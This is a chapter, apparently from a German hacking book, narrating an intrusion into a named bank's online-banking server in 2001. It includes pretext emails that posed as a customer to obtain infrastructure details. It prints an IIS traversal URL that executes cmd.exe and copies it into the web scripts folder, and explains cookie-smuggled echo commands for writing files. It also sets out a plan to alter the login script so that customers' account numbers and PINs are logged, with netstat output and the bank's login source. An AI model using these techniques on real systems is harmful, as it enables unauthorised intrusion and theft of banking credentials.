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11 Der Banken-Hack
 Vorbemerkung: Der in diesem Kapitel geschilderte Angriff auf einen Bank-Server hat al-len Beteiligten für eine kurze Zeit relativ viel Aufmerksamkeit zuteil werden lassen. Für den Autor mag das positiv gewesen sein, der NDR hatte eine wirklich interessante Ge-schichte – nur die Bank stand in jeder Hinsicht schlecht da. Das betroffene Institut hat aufgrund des Angriffs einige Veränderungen am Onlinebanking-System vorgenommen. Da der Angriff bei Erscheinen dieses Buchs nicht mehr wiederholbar ist, der potentielle Schaden für das Institut aber auch jetzt noch beträchtlich sein kann, haben wir aus juristischen Gründen den Namen geschwärzt.
 ■
 ■
 ■
 ■
 1.1 Aufgabe Im Juni 2001 bekamen wir vom NDR den Auftrag, die Sicherheit von Banksystemen und EC-Karten zu testen. Im Rahmen der Sendung »ARD Ratgeber Technik« sollte ge-prüft werden, wie sicher Homebanking heutzutage ist.
 Die Sicherheitsfrage konnte man in zwei Richtungen formulieren:
 Wie gut sind die Daten der Kunden geschützt, gibt es Angriffsmöglichkeiten auf ei-nen Bank-Server?
 Wie sicher sind die Transaktionen, die beim Homebanking durchgeführt werden? Besteht dort eine Möglichkeit, Daten abzufragen, zu manipulieren, umzuleiten o.ä.?
 1.1.1 Bedingungen
 Natürlich waren an diese Aufgabe bestimmte Bedingungen geknüpft, zu denen gehörte:
 Es sollte kein Kunde geschädigt werden. Das bedeutete, dass keine Transaktion so manipuliert oder verfälscht wurde, dass sie nicht stattfinden konnte.
 Das Onlinebanking-System der Banken sollte in seiner Funktion weder gestört noch eingeschränkt werden.
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1.2 Zugangsweg – Informationsrecherche über Social Engineering 1155
 ■
 1.
 2.
 3.
 4.
 ■
 ■
 Die ganze Angelegenheit sollte unauffällig geschehen, da man sonst Gefahr lief, dass die betroffene Bank vor dem Ausstrahlungstermin der Sendung eine Einstweilige Verfügung beantragt, um zu verhindern, dass die Mängel veröffentlicht würden.
 1.1.2 Vorgehensweise zur Lösung
 Die Vorgehensweise sah wie folgt aus:
 Den Zugangsweg zu Daten oder Server finden
 Das Eindringen in das System, und das Erkunden von Manipulationsmöglichkeiten
 Daten ausspähen
 Transaktion manipulieren
 Spontan fielen uns zwei mögliche Ansätze dazu ein:
 Den Zugriff auf den Webserver eines Instituts. Trojanerplatzierung bei Homebanking-Kunden und anschließender Zugriff auf den Bank-Server mit den ausgespähten Kundendaten.
 Der einfache Weg wäre, auf den guten alten Trojaner zurückzugreifen, ein paar PCs auszu-spionieren, um dann im richtigen Moment, wenn der Kunde Onlinebanking macht, zuzu-schlagen. Nach ein paar Feldversuchen erschien uns diese Möglichkeit aber eher an den Haa-ren herbeigezogen. Man muss Kunden finden, denen einen Trojaner »zuspielen«, der Troja-ner muss installiert werden usw. Schließlich ist ein solcher Ansatz auch noch ständig zu ü-berwachen, denn nach dem Ausspähen muss man ja auf die nächste Homebanking-Transaktion warten. Außerdem hätte das Auffliegen einer solchen Aktion derart viel Presse-rummel verursacht, dass der eigentliche Test kaum noch hätte stattfinden können.
 Die sinnvolle Möglichkeit konnte dann also nur der Zugriff auf den Webserver eines Geldinstitutes sein. Das löste natürlich heftige Kontroversen aus, nicht zuletzt mit Blick auf die §202 und §263 des StGB. Im Endeffekt entschlossen wir uns dazu, es einfach einmal zu versuchen, evtl. stoßen wir ja auf kleinere Lücken, die man aufzeigen könnte. Natürlich hatte keiner von uns ein genaues Konzept, und wir wussten auch nicht, wie die Systeme der Banken konkret aussehen. Also hieß es erst einmal Informationen sammeln.
 1.2 Zugangsweg – Informationsrecherche über Social Engineering
 Zunächst versuchten wir, über persönliche Kontakte an Informationen über die Bank-Server zu gelangen. Es ist aber recht schwierig, den eigenen Kundenberater nach Details zum bankeigenen Server zu fragen, meist weiß er es selbst nicht oder schöpft Verdacht. Also musste eine andere Lösung gefunden werden.
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1166 Kapitel 1: Der Banken-Hack
 Zuerst mussten wir uns über die Strukturen in der Bank informieren. Wir schrieben da-zu eine Mail an mehrere Banken, in der wir vorgaben, Kunde zu sein, der von einem Hackerangriff auf den Webserver einer anderen Bank gehört hatte und nun von seiner Bank wissen wollte, wie sicher das Geld bzw. das Online-Banking dieses Instituts denn nun wirklich sei.
 Die Mail musste so geschrieben werden, das sie aufgrund des Aufbaus nicht mit einem Standardsupporttext beantwortet werden konnte. Also gaben wir uns netzwerktechnisch versiert und fragten zu guter Letzt frech nach, wie die Bank das Online-Banking und somit unsere Daten schütze. Diese Mail schickten wir an 10 große Geldinstitute, die ein Onlinebankingportal betreiben.
 Nach ca. 5 Tagen und 9 Standardmails mit dem Inhalt »Keine Sorge, Ihr Geld ist nir-gends so sicher wie bei uns. Ihre XY –Bank« ereichte uns, zu unser eigenen Über-raschung, folgende Mail:
 1. Die Infrastruktur
 Die Infrastruktur des Online Banking Systems für die XY-Bank ist wie
 folgt ausgelegt:
 Alle Anfragen für das Online Banking werden über einen Cisco-Router ge-
 führt, der nur den Port 443 (HTTPS-verschlüsselte Datenübertragung mit
 SSL) bereitstellt und nur Anfragen an den exklusiv dem Online Banking
 System vorgeschalteten Plug-Gateway mit integrierter Firewall durch-
 lässt. Somit erfolgt eine gesicherte und verschlüsselte Übertragung der
 Banking Daten des Kunden ab Aufruf der Online Banking Seite.
 Hinter dem Cisco-Router befindet sich zusätzlich ein exklusiv für die
 XY-Bank installiertes Intrusion Detection System, das Angriffe gegen
 das System protokolliert, meldet und auch abwehrt.
 Das Plug-Gateway, das sich zwischen Cisco-Router und Bank Web-Server
 befindet, nimmt folgende Aufgaben wahr:
 Physikalische Trennung der Internet-Verbindung und der Verbindung zum
 Web-Server: Bei Aufbau einer Verbindung von einem externen System wird
 die Verbindung entgegengenommen und eine von der aus dem Internet kom-
 menden Verbindung physikalisch getrennte Verbindung zum Webserver her-
 gestellt, so dass keine Rückschlüsse auf die internen Systeme von außen
 möglich sind.
 Alle Pakete werden durch die Firewall des Plug-Gateways analysiert und
 nur bei Erfüllung der Filterregeln (nur HTTPS Zugriffe sind gestattet)
 an den Webserver des Online Banking Systems durchgereicht. Weiterhin
 ist der Datenbankserver physikalisch vom Web-Server und der Anwendung
 getrennt, so dass ein direkter Zugriff vom Internet auf die Datenbank
 überhaupt nicht möglich ist.
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 2. Sicherheit
 Ergänzend zu den Sicherheitsmaßnahmen der Infrastruktur (Hardware und
 Systemsoftware-Ebene) sind noch folgende Sicherheitsvorkehrungen für
 das Online Banking der Bank getroffen worden:
 Die Verbindung zwischen Client und Server wird mit maximaler Verschlüs-
 selung von 128 Bit aufgebaut. Dieser Standard gilt für Transaktionen im
 Internet als sicher.
 PINs in der Datenbank sind verschlüsselt abgelegt und erlauben keinen
 Rückschluss auf die tatsächlich verwendete PIN.
 4. Sicherheitsanalyse von Administrator vom 06.2001
 Der Administrator hat 06.2001 selbst einen Scan gegen den öffentlichen
 Internetauftritt und das Online Banking System der Bank durchgeführt.
 Wie erwartet ist dabei das Online Banking System nur per https (Port
 443) für den per 128 Bit verschlüsselten, sicheren Zugriff im Internet
 erreichbar. Der Versuch, weitere Informationen (Fingerprint) über das
 System (Hardware, Betriebssystem, Server etc.) zu erhalten, schlug fehl.
 Dieses ist ein sehr gelungenes Beispiel für Social Engineering, das uns einen sehr detail-lierten Einblick in die Sicherheitsmaßnahmen der Bank-Webserver gab.
 Scans nach Detailinfos – Feinarbeiten
 Was aus der Mail nicht hervorging, was uns aber aufgrund einiger Scans (näheres s.u.) schon klar war, ist, dass alle Banken verschiedene Finanzsoftware benutzen, z.B. OFX (Open Financial Exchange). Diese sorgen z.B. für Integrationsschecks der Kontonum-mer, Pins sowie TANs und verwalten des Weiteren die Kundeninformationen. Da sich nur spärliche Informationen zu dieser Server-Client-Software finden ließen, wurde uns klar, dass wir nur über die Login-Seite einer Bank an Kundendaten kommen könnten. Selbst wenn es möglich wäre, an Daten aus der OFX-Datenbank heranzukommen, blie-be weiter unklar, ob diese nicht evtl. verschlüsselt sind etc.
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 1.3 Suche nach dem richtigen Ziel Die Idee war also, eine größere Bank zu finden mit direktem Anschluss des Servers zum Onlinebanking, um dort die Login-Seiten so zu verändern, dass sämtliche Eingaben in eine Log-Datei wandern. Die Frage war nur, welche Bank nehmen wir?
 1.3.1 Sparkassen – Zuviel Kontrolle auf dem Server
 Die Sparkassen schieden nach einem kurzem Blick auf die Infrastruktur aus. Bei ihnen ergab sich das Problem, dass zwar fast jede Sparkasse eine eigene Seite hat, doch das di-rekte Onlinebanking über ein Rechenzentrum durchgeführt wird. Beispiel: www.ostspa.de: Der Server dieser Seite steht in Schwerin, die eigentliche Seite zum Login der Sparkas-senkunden auf ihr Konto läuft aber unter folgender Adresse https://ww2.homebanking-mecklenburg-vorp.de/cgi/anfang.cgi/Ostseespk_Rostock, wobei sich dieser Server bei der DVG in Hannover befindet. Ein Angriff dort war uns etwas zu heiss, da z.B. in Hanno-ver fast jede Sparkasse im Norden Deutschlands gehostet war und man davon ausgehen konnte, dass die Admins »auf den Rechnern sitzen würden« und schon ein Scan zu Test-zwecken Aufmerksamkeit erregen würde.
 1.3.2 Recherche: IIS-Server gesucht
 Also mussten wir unser Augenmerk auf größere Banken richten. Da es in der gesuchten Form eigentlich nicht so viele gab, konnten wir damit beginnen, jede einzelne Bank zu untersuchen. Für diesen Hack kam eigentlich nur ein IIS-Server von Microsoft in Frage, da für diesen unseres Erachtens nach die meisten Exploits bekannt sind. Wir scannten also einige Banken ab, um nach dem jeweiligen Server zu schauen. Dazu benutzten wir das Tool RAW HTTP (www.hackerzbook.de).
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 Bild 1.1: Server-Details dank RAW HTTP
 Bild 1.2: Hier stehen die Infos über den verwendeten Server
 Mithilfe von RAW HTTP ließen wir diverse Bankportale abscannen, um ein für den An-griff geeignetes System zu finden. Das Tool lieferte uns die wichtigsten Informationen über die Webserver der einzelnen Banken und Sparkassen. (Mehr zum Thema Scannen finden Sie in Kapitel 6)
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 Nach tagelangem Scannen fand sich die Seite der Hypovereinsbank, ein Portal über das sich sowohl die Kunden der Bank als auch die eines Tochterunternehmens, der Vereins- und Westbank, einloggen konnten.
 Merkmale des Ziels – Voraussetzungen für die Vorbereitung
 Ein optimales Ziel, da sich über dieses Portal jeder Kunde dieser Banken in Deutschland einloggen musste und somit die Hits (Zugriffe) der Seite dementsprechend hoch sein mussten. Nach nachträglichen Schätzungen lag die Zahl der Hits zwischen 5000 bis 9000 pro Stunde. Ein weiterer Punkt, der für diese Bank sprach, war ein geplanter Umbau des Servers, sowohl der Seite als auch des Systems selber. Wir konnten also davon ausgehen, dass es aufgrund dieser Tatsache möglich sein sollte, Erfolg zu haben. Sämtliche Exper-ten der Bank arbeiteten an dem neuen Auftritt und das noch laufende System wurde »vernachlässigt«, so dass ein Angriff auf den Webserver zu diesem Zeitpunkt mehr als ideal war.
 Für den Angriff musste also in folgender Weise vorgegangen werden:
 1.
 2.
 3.
 4.
 5.
 6.
 Betriebssystem und Transaktionssoftware ermitteln
 Schutzmechanismen prüfen
 Prüfen, ob Logdateien mit Infos vorhanden sind
 Datenübergabe ermitteln
 Authentifizierung
 Exploits testen
 1.3.3 Betriebssystem und Transaktionssoftware
 Ein NT-Webserver mit IIS 4.0. Wird über die Tivoli Management Software gewartet (von der auch Fehler berichtet wurden! Was man aber auf diesem Server nicht überprüf-te, da die im IIS enthaltene fatale Lücke, die das Dekodieren von Kommandos betrifft, völlig ausreichte).
 Die Konten werden mit der Software von OFX verwaltet, die anscheinend auch von an-deren Banken verwendet wird.
 1.3.4 Wie wird der Server geschützt?
 Eine Firewall scheint den Server zu schützen, da weder Pings beantwortet, noch Verbin-dungen hinaus erlaubt werden. Leider war durch die Scans nicht genau zu ermitteln, um welche Firewall es sich handelt. Ob ein Zugriff auf andere Ports außer dem WEB-Dienst
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 (Port 80) und HTTPS (Port 443) erlaubt ist, konnte man auch nicht sagen, jedoch aus-schließen, da der Netstat-Bericht Verbindungen auf Port 4966/4967 gegen 4:00 Uhr zeigte. Da der entfernte Rechner mit einem Computernamen angezeigt wurde, konnten wir von einer Intranetverbindung ausgehen.
 Hier der Netstat-Bericht:
 Proto Lokale Adresse Remote-Adresse Zustand TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:161 0.0.0.0:0 LISTENING TCP 0.0.0.0:512 0.0.0.0:0 LISTENING TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING TCP 0.0.0.0:2867 0.0.0.0:0 LISTENING TCP 0.0.0.0:2874 0.0.0.0:0 LISTENING TCP 0.0.0.0:2882 0.0.0.0:0 LISTENING TCP 0.0.0.0:3037 0.0.0.0:0 LISTENING TCP 0.0.0.0:3038 0.0.0.0:0 LISTENING TCP 0.0.0.0:3111 0.0.0.0:0 LISTENING TCP 0.0.0.0:3125 0.0.0.0:0 LISTENING TCP 0.0.0.0:3128 0.0.0.0:0 LISTENING TCP 0.0.0.0:3168 0.0.0.0:0 LISTENING TCP 0.0.0.0:3489 0.0.0.0:0 LISTENING TCP 0.0.0.0:3697 0.0.0.0:0 LISTENING TCP 0.0.0.0:4487 0.0.0.0:0 LISTENING TCP 0.0.0.0:4796 0.0.0.0:0 LISTENING TCP 0.0.0.0:5044 0.0.0.0:0 LISTENING TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING TCP 127.0.0.1:1025 127.0.0.1:1031 ESTABLISHED TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING TCP 127.0.0.1:1031 127.0.0.1:1025 ESTABLISHED TCP 127.0.0.1:1036 0.0.0.0:0 LISTENING TCP 172.24.152.xx:137 0.0.0.0:0 LISTENING TCP 172.24.152.xx:138 0.0.0.0:0 LISTENING TCP 172.24.152.xx:139 0.0.0.0:0 LISTENING TCP 172.24.152.xx:1029 0.0.0.0:0 LISTENING TCP 172.24.152.xx:3038 172.24.153.4:80 ESTABLISHED TCP 172.24.152.xx:3111 172.24.153.4:80 TIME_WAIT TCP 172.24.152.xx:3125 172.24.153.5:1435 ESTABLISHED TCP 172.24.152.xx:3126 172.24.153.5:1435 TIME_WAIT
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 TCP 172.24.152.xx:3127 172.24.153.5:1435 TIME_WAIT TCP 193.158.209.xx:80 0.0.0.0:0 LISTENING TCP 193.158.209.xx:80 62.27.xx6.3:1036 TIME_WAIT TCP 193.158.209.xx:80 62.46.166.211:4232 TIME_WAIT TCP 193.158.209.xx:80 62.46.166.211:4233 ESTABLISHED TCP 193.158.209.xx:80 62.xx6.133.236:57480 ESTABLISHED TCP 193.158.209.xx:80 193.101.4.4:1557 ESTABLISHED TCP 193.158.209.xx:80 212.197.145.191:1042 ESTABLISHED TCP 193.158.209.xx:80 212.197.157.61:1119 ESTABLISHED TCP 193.158.209.xx:80 212.197.158.144:1073 ESTABLISHED TCP 193.158.209.xx:80 217.2.206.133:4233 ESTABLISHED TCP 193.158.209.xx:137 0.0.0.0:0 LISTENING TCP 193.158.209.xx:138 0.0.0.0:0 LISTENING TCP 193.158.209.xx:139 0.0.0.0:0 LISTENING TCP 193.158.209.xx:443 0.0.0.0:0 LISTENING TCP 193.158.209.xx:443 62.27.130.213:1182 CLOSING TCP 193.158.209.xx:443 62.27.130.213:1233 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1234 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1235 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1236 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1237 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1238 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1239 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1240 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1241 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1242 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1243 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1244 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1245 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1246 TIME_WAIT TCP 193.158.209.xx:443 62.27.130.213:1247 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1037 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1038 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1039 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1040 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1041 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1042 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1043 TIME_WAIT TCP 193.158.209.xx:443 62.27.xx6.3:1044 ESTABLISHED TCP 193.158.209.xx:443 62.54.56.xx:1194 CLOSING TCP 193.158.209.xx:443 62.153.19.xx:1182 TIME_WAIT TCP 193.158.209.xx:443 62.153.19.xx:1184 TIME_WAIT
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 TCP 193.158.209.xx:443 62.153.19.xx:1185 TIME_WAIT TCP 193.158.209.xx:443 62.153.19.xx:1186 TIME_WAIT TCP 193.158.209.xx:443 62.xx6.165.xx:2326 TIME_WAIT TCP 193.158.209.xx:443 63.11.56. xx:1277 CLOSING TCP 193.158.209.xx:443 193.158.209.xx:3121 TIME_WAIT TCP 193.158.209.xx:443 193.158.209.xx:3128 ESTABLISHED TCP 193.158.209.xx:443 209.154.59.xx:1202 CLOSING TCP 193.158.209.xx:1030 0.0.0.0:0 LISTENING TCP 193.158.209.xx:3128 193.158.209.xx:443 ESTABLISHED UDP 0.0.0.0:135 *:* UDP 0.0.0.0:161 *:* UDP 172.24.152.xx:137 *:* UDP 172.24.152.xx:138 *:* UDP 172.24.152.xx:1029 *:* UDP 193.158.209.xx:137 *:* UDP 193.158.209.xx:138 *:* UDP 193.158.209.xx:1030 *:*
 1.3.5 Keine Logdateien – das steuert wohl OFX
 Logdateien des IIS konnten wir keine finden, weder im Verzeichnis C:\WINNT\ sys-tem32\LogFiles, noch sonst wo. Dafür jedoch Meldungen der OFX-Software, die aber keine Informationen über Verbindungen ausgab. Man kann annehmen, dass entweder die Firewall-Logs ausgewertet werden, oder dass auf das Loggen total verzichtet wird!
 Über OFX
 Es waren weder Kontodaten auf dem Server zu finden, noch waren Datenbank-Passwörter u.ä. zu finden. Man kann daher weiter annehmen, dass diese auf einem Rechner zentral gelagert sind, und die OFX-Software auf diese zugreift bzw. sie verwal-tet. OFX wird von den ASP-Seiten, die ungewöhnlicherweise nicht VBSCRIPT sondern JAVASCRIPT verwenden, angesteuert, und überprüft die Daten nicht lokal; vielmehr werden die Benutzerdaten an eine Datenbank geschickt und dort verglichen. Es werden also z.B. bei Transaktionen die Nummern, die PIN und die vom Benutzer eingegebene TAN der Transaktionen an OFX übergeben, welches dann Fehlercodes zurückliefert.
 1.3.6 Datenübergabe durch Skripte
 Nach den Scans war uns deutlich, auf welche Weise man den Server würde angreifen können. Wir schauten uns natürlich genau an, wie die Daten beim Login angenommen

Page 18
						

2244 Kapitel 1: Der Banken-Hack
 und weitergeleitet wurden. Um unser Vorgehen zu verdeutlichen, hier ein Blick in die History.
 Vorbereitungen (Zugriff erlangen)
 Durch die Eingaben folgender URL konnte Zugriff erlangt werden: http://banking.hypovereinsbank.de/scripts/..%255c..%255cwinnt/system32/cmd.exe?/ ➥ c+copy+C:\Winnt\System32\cmd.exe+C:\Inetpub\Scripts\root.exe
 Der Kommandointerpreter CMD.EXE wurde aus dem Systemverzeichnis in das Script-verzeichnis des Webservers kopiert, um voll funktionsfähig über den Browser bedient werden zu können.
 Authentifizierung und Verbindung
 Der Pfad zu den Webseiten sieht so aus: C:\Inetpub\WWWRoot\Bank. In diesem Ver-zeichnis gibt es ein Unterverzeichnis, »Security«, zu dem man nur mit einer ver-schlüsselten Verbindung gelangt. In diesem Verzeichnis ist der Großteil aller Dateien, die für das Onlinebanken verwendet werden. Die Kunden werden gebeten, ihre 6- oder 10-stellige Onlinenummer einzugeben, ihre PIN und die gewünschte Bank (Vereinsbank oder Vereins und Westbank). Diese Daten werden dann in einem Session Cookie (ver-schlüsselt, wegen SSL) gespeichert.
 Serveranfälligkeit ausgetestet
 Der Webserver war auf ein fatales Standardexploit anfällig:
 http://www.....de/scripts/..%c255..%c255winnt/system32/cmd.exe
 Hierbei handelt es sich um einen Fehler beim Dekodieren und Legitimieren eines über-gebenen Kommandos, was zu einer Ausführung führt.
 Um hier etwas anzumerken: Der Administrator hätte dieses Verzeichnis getrost löschen können, da die Scripts der Bank keine Binärdateien ausführen bzw. benötigen.
 IIS »piped« die Ausgabe von Konsolendateien, wie der CMD.exe, daher erhält man eine Art Shell über den Browser, wenn man die cmd.exe mit dem /c Parameter (einzelnes Kommando) ausführt.
 Ausgehende Verbindungen sind leider nicht erlaubt
 Der erste Plan war, einfach ein trojanisches Pferd hochzuladen, das dann komfortablen Lese-/Schreibzugriff bieten würde. Das scheiterte jedoch daran, dass ausgehende Ver-bindungen nicht erlaubt wurden.
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 Es galt also, über eine erlaubte Verbindung zu lesen und zu schreiben.
 Der Lesezugriff war kein Problem: Zu lesende Dateien wurden in das Webverzeichnis kopiert, heruntergeladen und gelöscht. Das Schreiben war der Haken. Generell kann man mit dem DOS-Befehl echo in Dateien schreiben. (C:\>echo Admin’s Test> C:\Inetpub\WWWRoot\Test.htm).
 Textzeichen lassen sich so einfach schreiben, jedoch keine Binärdaten und keine Meta-zeichen, wie z.B.: <,|,>.
 Der Angriffsplan im Detail
 Binärdateien werden über ein ASP-Script geschrieben bzw. hinaufgeladen. Das ASP-Script, das aus Textzeichen besteht, kann über die cmd.exe geschrieben werden.
 Da ASP und HTML jedoch Metazeichen benötigen, und die Zeilen »komplex« gebaut sind, konnten sie nicht über den Browser eingegeben werden, da die Zeile URL codiert werden müsste, wegen der vielen nicht alphanumerischen Zeichen, und im schlimmsten Fall daher dreimal so groß werden könnte. Also wurden die Zeilen als Cookie mitge-schickt.
 Bei jeder Anfrage werden Daten wie HTTP_AGENT, Remote-IP u.a. als Umgebungsva-riable gespeichert und sind somit auch für andere Anwendungen, die die Umgebung des Webservers haben, verwendbar. Das Cookie wurde als HTTP_COOKIE gespeichert, und konnte dann mit echo+%HTTP_COOKIE% einfach geschrieben werden. Die letzte und größte Hürde war es, die Metazeichen in Anführungszeichen gepackt syntaxgerecht zu schreiben (für die ASP-Scripts).
 Sobald das Upload-Script auf dem Server war, konnte das Anmelde-Script umgeschrie-ben werden, so dass die Anmeldedaten direkt aus dem Benutzerformular in eine Log-Datei wanderten.
 Das Originalanmelde-Script
 <%@ LANGUAGE="JAVASCRIPT"%> <!--#INCLUDE FILE="inc/ServerVar.inc" --> <!--#INCLUDE FILE="inc/ServerFkt.inc" --> <% redefault(); var OnlNr, Pwrd, Bank, Q,Bankname; Session("ActFunc") = "Anmeldung"; Session("iStatus") = STAT_FREE; S_bFirst = (Request.Form("OnlNr").Count == 0 && Request.Form("Gast").Count == 0); S_Info = I_LOGIN;
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 if (S_bFirst) { Session("bIE") = (Request.QueryString("IE") == 0) ? false : true ; } else { OnlNr = MakeStr(Request.Form("OnlNr")); Pwrd = MakeStr(Request.Form("Pwrd")); Session("OnlNr") = OnlNr; Session("Pwrd") = Pwrd; Bank = MakeStr(Request.Form("Bank")); if(Request.Form("Gast") != 1){ if((S_ChkNum(OnlNr, 1, 6)=="" && S_ChkNum(OnlNr, 1, 10)=="") || trim(Pwrd)=="" || trim(Bank)==""){ ; } else { S_bInputOK = true; } } else { S_bInputOK = true; } if(S_bInputOK) { if (Bank == "VuW") { Session("Bank") = 1; } else if(Bank == "BV" || Bank == "") { Session("Bank")=0; } if(Request.Form("Gast") == 1) { OFX.Request = "Gast"; S_RQStr = Bank; Session("Gast")=1; } else { OFX.Request = "AccountInfo"; OFX.Password = Pwrd; S_RQStr = OnlNr + TZN + Bank; } OFX.SndRcv (S_RQStr);
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 Q = ChkErr(); switch (Q) { case NOERR: GetKto(); break; case R_MSG_ERR: case R_MSG_0ERR: Session("bAlert") = true; case R_NOMSG_ERR: break; case R_ACC_DISAB: Response.Redirect ("Entsperren.asp?OnlNr=" + OnlNr); break; default: OtherErr (Q,0,1,0); break; } } else { HandleInputErr(); } } WriteHTMLHead("Anmeldung"); %> <SCRIPT LANGUAGE="JAVASCRIPT"> C_Status = 1; var bSubmit = false; <% buffer = "function ContLoadMe(){\n"; buffer += "SetInfo( \"" + S_Info + "\" );\n"; if (Session("bAlert")) { Session("bAlert") = false; buffer += ("alert (\"" + Session("Alert") + "\");\n"); } if(Session("Bank") >= 0) { buffer += ("myF.Bank[" + Session("Bank") + "].checked=true;\n"); } if (S_Focus != '') { buffer += ("myF." + S_Focus + ".focus();\n");
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 } else { buffer += ("document.frm0.OnlNr.focus();\n"); } buffer += S_URL; buffer += "\n}"; Response.write (buffer); %> function OK_Click() { var el, b, f0; f0 = document.frm0; if (C_bRQ) { el = f0.OnlNr; if (trim(el.value) == "") { alert ("Geben Sie bitte Ihre Onlinenummer ein!"); el.focus(); return F; } b = (ChkNum(f0.OnlNr, "Onlinenummer", 2, 6) || ChkNum(f0.OnlNr, "Onlinenummer", 2, 10)); if (!b){ alert ("Die Onlinenummer muss genau 6 oder 10 Stellen haben!"); el.focus(); return F; } el = myF.Pwrd; if (el.value == '') { alert ("Geben Sie bitte Ihr Passwort ein!"); el.focus(); return F; } el = myF.Bank; if (el[0].checked || el[1].checked) { SetInfo( C_BUSY ); C_bRQ = F; myF.OnlNr.value=f0.OnlNr.value; bSubmit=true; myF.submit(); return T; }
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 else { alert ("Geben Sie bitte Ihre kontoführende Bank an!"); el[0].focus(); return F; } } return F; } function Gast_Click(){ if (C_bRQ){ if( document.frm0.OnlNr.value.length > 0 ) { if( !confirm("Sie haben schon eine Online-Nummer eingegeben.\nWollen Sie ➥ wirklich den Gastzugang mit Testkonten wählen?") ) return F; } var Gast = 1; myF.Gast.value = 1; SetInfo( C_BUSY ); C_bRQ = F; bSubmit=true; myF.submit(); return T; } return F; } function Cancel_Click() { location.href="LogOut.asp"; } </SCRIPT> <% HLine="Anmeldung"; if (Session("Bank") == 1) { Response.write (F_S_BODY + "<CENTER>" + F_S_TABLE + F_S_LOGO + "<img WIDTH=177 HEIGHT=47 src='../images/VuWLogo.gif'>" + F_E_LOGO + F_S_HLINE + MakeHLine(HLine) + F_E_HLINE); } else {
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 Response.write (F_S_BODY + "<CENTER>" + F_S_TABLE + F_S_LOGO + "<img WIDTH=205 HEIGHT=52 src='../images/HVLogo.gif'>" + F_E_LOGO + F_S_HLINE + MakeHLine(HLine) + F_E_HLINE); } Response.write ("<FORM NAME=frm0 onsubmit='return false'>" ); WriteElement(6, "Onlinenummer",0,1); WriteElement(6, "Kennwort",0,1); Response.write (F_E_S_TR); WriteElement(6, "<INPUT NAME='OnlNr' TYPE='TEXT' onfocus='this.select();' SIZE=10 ➥ maxlength=10>",1,1); Response.write ("</FORM>\n" + F_S_FORMULAR + "\n<INPUT NAME='OnlNr' TYPE='HIDDEN'>\n"); WriteElement(6, "<INPUT TYPE='PASSWORD' onfocus='this.select();' NAME='Pwrd' ➥ SIZE=10 maxlength=5>",1,1); Response.write (F_E_S_TR); WriteElement(12, "Bank",0,1); Response.write (F_E_S_TR); WriteElement(6, "<INPUT TYPE='radio' NAME='Bank' VALUE='BV'> ➥ HypoVereinsbank",1,0); WriteElement(6, "<INPUT TYPE='radio' NAME='Bank' VALUE='VuW'> ➥ Vereins- und Westbank",1,1); Response.write (F_E_TR + F_BLCKLINE + F_S_TR); if (Session("bIE")) { buffer = "<INPUT TYPE='button' style='width:90px' NAME='CmdOK' ➥ VALUE='Anmelden'>"; buffer += ("\n<INPUT TYPE='button' style='width:90px' NAME='CmdGast' ➥ VALUE='Gastzugang'><INPUT TYPE='Hidden' MAXLENGTH=1 ➥ NAME='Gast' VALUE=0>"); buffer += "\n<INPUT TYPE='button' style='width:90px' NAME='CmdHelp' ➥ VALUE=' Hilfe '>"; buffer += "\n<INPUT TYPE='button' style='width:90px' NAME='CmdCancel' ➥ VALUE='Abbrechen'>"; WriteElement(12, buffer,1,0); Response.write (F_E_TR + F_S_TR + F_E_TR + F_E_FORMULAR + F_E_TABLE + F_IE_INFO); } else { buffer = "<INPUT TYPE='button' WIDTH=90 NAME='CmdOK' VALUE='Anmelden'>"; buffer += ("\n<INPUT TYPE='button' WIDTH=90 NAME='CmdGast' ➥ VALUE='Gastzugang'><INPUT TYPE='Hidden' MAXLENGTH=1 ➥ NAME='Gast' VALUE=0>");
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 buffer += "\n<INPUT TYPE='button' WIDTH=90 NAME='CmdHelp' ➥ VALUE=' Hilfe '>"; buffer += "\n<INPUT TYPE='button' WIDTH=90 NAME='CmdCancel' ➥ VALUE='Abbrechen'>"; WriteElement(12, buffer,1,0); Response.write (F_E_TR + F_E_FORMULAR + F_E_TABLE + F_NS_INFO); } %> <SCRIPT LANGUAGE="JAVASCRIPT" SRC="inc/ClientFkt.inc"> </SCRIPT> <SCRIPT LANGUAGE=JAVASCRIPT> <%if(!Session("bIE")){ %> document.layers["Info"].left = (window.innerWidth - 484)/2; function KeyNum(e) { return ( e.which >= 48 && e.which <= 57 || e.which == 8); } function KeyEnter(e) { return e.which != 13; } <%}else{%> function KeyNum() { var k = window.event.keyCode; return ( (k >= 48 && k <= 57) || ( k >= 96 && k <= 105) || (k < 32 && k != 13) || k == 37 || k == 39 || k == 46 || k == 8); } function KeyEnter() { return window.event.keyCode != 13; } function SubmitOk() { return bSubmit; }
